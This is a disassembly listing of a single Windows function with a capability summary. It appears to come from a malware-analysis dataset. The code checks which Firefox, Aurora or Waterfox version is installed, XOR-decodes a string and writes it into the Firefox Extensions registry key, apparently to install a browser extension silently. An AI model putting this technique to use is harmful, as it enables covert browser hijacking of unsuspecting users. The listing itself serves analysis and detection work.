Function at 0x40df30
Capabilities:
Encode data using xor
Query or enumerate registry value
Set registry value

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5f0fab
push eax
mov dword fs:[0], esp
sub esp, 0xfc
lea eax, [esp]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push ebp
push esi
push edi
xor esi, esi
push eax
push 0x20019
push esi
push str.SoftwareMozillaMozilla_Firefox
push reloc.WS2_32.dll_bind
mov ebp, 1
call ebx
test eax, eax
jne 0x40dfed
mov ecx, 0x19
lea edi, [esp + 0x28]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
lea edx, [esp + 0x28]
push ecx
push edx
push eax
push eax
mov eax, dword [esp + 0x20]
push str.CurrentVersion
push eax
mov dword [esp + 0x2c], 0x64
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40dfda
lea ecx, [esp + 0x28]
push 0x2e
push ecx
mov esi, ebp
call fcn.005c2c70
add esp, 8
test eax, eax
je 0x40dfda
lea edx, [esp + 0x28]
mov byte [eax], 0
push edx
call fcn.005c2fb3
add esp, 4
test eax, eax
je 0x40dfda
cmp eax, 8
jge 0x40dfda
xor ebp, ebp
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x40e264
lea ecx, [esp + 0x10]
xor esi, esi
push ecx
push 0x20019
push esi
push str.SoftwareMozillaAurora
push reloc.WS2_32.dll_bind
call ebx
test eax, eax
jne 0x40e085
mov ecx, 0x19
lea edi, [esp + 0x28]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x14]
lea eax, [esp + 0x28]
push edx
push eax
push esi
push esi
push str.CurrentVersion
push ecx
mov dword [esp + 0x2c], 0x64
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40e072
lea edx, [esp + 0x28]
mov esi, 1
push 0x2e
push edx
mov ebp, esi
call fcn.005c2c70
add esp, 8
test eax, eax
je 0x40e072
mov byte [eax], 0
lea eax, [esp + 0x28]
push eax
call fcn.005c2fb3
add esp, 4
test eax, eax
je 0x40e072
cmp eax, 8
jge 0x40e072
xor ebp, ebp
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x40e264
call fcn.004408a0
test eax, eax
je 0x40e258
lea edx, [esp + 0x10]
xor esi, esi
push edx
push 0x20119
push esi
push str.SoftwareMozillaMozilla_Firefox
push reloc.WS2_32.dll_bind
call ebx
test eax, eax
jne 0x40e12a
mov ecx, 0x19
lea edi, [esp + 0x28]
mov edx, dword [esp + 0x10]
mov dword [esp + 0x14], 0x64
rep stosd dword es:[edi], eax
lea eax, [esp + 0x14]
lea ecx, [esp + 0x28]
push eax
push ecx
push esi
push esi
push str.CurrentVersion
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40e117
lea eax, [esp + 0x28]
mov esi, 1
push 0x2e
push eax
mov ebp, esi
call fcn.005c2c70
add esp, 8
test eax, eax
je 0x40e117
lea ecx, [esp + 0x28]
mov byte [eax], 0
push ecx
call fcn.005c2fb3
add esp, 4
test eax, eax
je 0x40e117
cmp eax, 8
jge 0x40e117
xor ebp, ebp
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x40e264
lea eax, [esp + 0x10]
xor esi, esi
push eax
push 0x20119
push esi
push str.SoftwareMozillaAurora
push reloc.WS2_32.dll_bind
call ebx
test eax, eax
jne 0x40e1c2
mov ecx, 0x19
lea edi, [esp + 0x28]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
lea edx, [esp + 0x28]
push ecx
push edx
push eax
push eax
mov eax, dword [esp + 0x20]
push str.CurrentVersion
push eax
mov dword [esp + 0x2c], 0x64
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40e1af
lea ecx, [esp + 0x28]
mov esi, 1
push 0x2e
push ecx
mov ebp, esi
call fcn.005c2c70
add esp, 8
test eax, eax
je 0x40e1af
lea edx, [esp + 0x28]
mov byte [eax], 0
push edx
call fcn.005c2fb3
add esp, 4
test eax, eax
je 0x40e1af
cmp eax, 8
jge 0x40e1af
xor ebp, ebp
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x40e264
lea ecx, [esp + 0x10]
xor esi, esi
push ecx
push 0x20119
push esi
push str.SoftwareMozillaWaterfox
push reloc.WS2_32.dll_bind
call ebx
test eax, eax
jne 0x40e258
mov ecx, 0x19
lea edi, [esp + 0x28]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x14]
lea eax, [esp + 0x28]
push edx
xor edi, edi
push eax
push edi
push edi
push str.CurrentVersion
push ecx
mov dword [esp + 0x2c], 0x64
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40e249
lea edx, [esp + 0x28]
mov esi, 1
push 0x2e
push edx
mov ebp, esi
call fcn.005c2c70
add esp, 8
cmp eax, edi
je 0x40e249
mov byte [eax], 0
lea eax, [esp + 0x28]
push eax
call fcn.005c2fb3
add esp, 4
cmp eax, edi
je 0x40e249
cmp eax, 8
jge 0x40e249
xor ebp, ebp
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, edi
jne 0x40e266
call fcn.0040de60
xor eax, eax
jmp 0x40e3b8
xor edi, edi
call fcn.0040dbd0
test eax, eax
je 0x40e276
xor eax, eax
jmp 0x40e3b8
lea edx, [esp + 0x18]
push edx
push 0xf003f
push edi
push str.SoftwareMozillaFirefoxExtensions
push reloc.WS2_32.dll_accept
call ebx
test eax, eax
je 0x40e298
xor eax, eax
jmp 0x40e3b8
cmp dword [esp + 0x11c], edi
je 0x40e2db
cmp ebp, edi
je 0x40e2db
xor esi, esi
push 0x69eea0
call fcn.004177d0
add esp, 4
test eax, eax
jne 0x40e2ce
push 0x3e8
call fcn.004226d0
add esp, 4
inc esi
cmp esi, 0x12c
jl 0x40e2a7
push 0x2bf20
call fcn.004226d0
add esp, 4
xor esi, esi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x24], edi
mov word [esp + 0x20], di
mov eax, dword [0x6cce30]
mov dword [esp + 0x114], edi
cmp eax, edi
jne 0x40e2ff
mov eax, 0x6cce34
push str.idmmzcc5
push eax
push 0x69e048
lea ecx, [esp + 0x28]
call fcn.0040e3e0
lea eax, [esp + 0x8c]
push 0x69ecf4
push eax
call fcn.005c2dda
lea ecx, [esp + 0x94]
push ecx
call fcn.005c2c42
add esp, 0xc
cmp eax, edi
jle 0x40e357
lea ecx, [esp + 0x8c]
mov dx, word [ecx]
add ecx, 2
xor dx, 0x4d
sub edx, 0xff
dec eax
mov word [ecx - 2], dx
jne 0x40e340
lea ecx, [esp + 0x1c]
call fcn.00401f40
push eax
call fcn.005c2c42
add esp, 4
lea eax, [eax + eax + 2]
lea ecx, [esp + 0x1c]
push eax
call fcn.00401f40
mov edx, dword [esp + 0x1c]
push eax
push 1
lea ecx, [esp + 0x98]
push edi
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x40e397
mov esi, 1
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x114], 0xffffffff
call fcn.00401070
mov eax, esi
mov ecx, dword [esp + 0x10c]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x108
ret